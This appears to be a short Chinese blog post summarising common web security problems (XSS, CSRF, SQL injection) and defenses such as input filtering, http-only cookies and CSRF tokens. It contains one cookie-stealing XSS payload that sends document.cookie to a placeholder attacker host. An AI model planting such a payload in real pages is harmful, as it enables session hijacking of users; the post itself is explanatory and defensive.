美文网首页
Web安全问题

Web安全问题

作者: 6d65341cc42c | 来源:发表于2018-01-09 23:42 被阅读0次

1.xss 跨站脚本攻击(反射型,存储型)

    伪造会话(基于xss实现csrf)

   劫持cookie:

window.open("http://www.xxx.com/record?secret=" + document.cookie)

自动将他们的cookie信息发送到攻击者的服务器,攻击者可以在cookie有效期内拿他们冒充用户操作。

   恶意代码执行

防御:

输入过滤。cookie设置http-only(这样脚本无法获取cookie)。

2.csrf 跨站请求伪造

  伪造用户身份操作

防御:

验证http referer字段(不严谨,因为可以篡改)

在请求地址中添加token验证(比如在post中,已参数形式加入随机产生的token)

csrf的前提是cookie验证用户身份

ajax无法带cookie验证

ajax受浏览器的同源策略限制,ajax默认无法请求跨域的接口(当然后台可以设置access-control-allow-origin:* 之类的允许跨域请求),ajax请求无法携带跨域cookie

3.sql注入

相关文章

  • [LNMP]Linux的Web环境的安全配置

    安全问题是Web开发中非常重要的,本篇文章主要描述Web环境配置时候应该注意的安全问题,避免因web配置的不严谨导...

  • Web安全问题

    1.xss 跨站脚本攻击(反射型,存储型) 伪造会话(基于xss实现csrf) 劫持cookie: wind...

  • Web 安全问题总结

    Web 安全问题总结

    web常见攻防

    背景 博主早年从事web安全相关的工作,近日得闲,简单梳理几个常见的web安全问题。 XSS 首先说下最常见的 X...

  • web安全攻防实战技巧

    根据权威机构调研,目前安全问题80%都发生在WEB安全层面上,但是往往企业中只有20%的防护成本运用到web安全上...

  • Web安全之SQL注入攻击技巧与防范

    Web安全简史 在Web1.0时代,人们更多是关注服务器端动态脚本语言的安全问题,比如将一个可执行脚本(俗称Web...

  • web网站的安全问题

    1.不安全的http请求http请求除了常见的get post之外、还有put、delete、options、He...

  • Web 开发常见安全问题

    前端安全XSS 漏洞CSRF 漏洞 后端安全SQL 注入漏洞权限控制漏洞SESSION 与 COOKIEIP 地址...

  • Web 开发常见安全问题

    前端安全 XSS漏洞 CSRF漏洞 后端安全 SQL 注入漏洞 所有 SQL 语句都使用参数化查询(推荐)或对参数...

  • 常见的Web安全问题

    1. Web 安全 由于网络技术日趋成熟,黑客们也将注意力从以往对网络服务器的攻击逐步转移到了对 web应用的攻击...

网友评论

      本文标题:Web安全问题

      本文链接:https://www.haomeiwen.com/subject/ttrnnxtx.html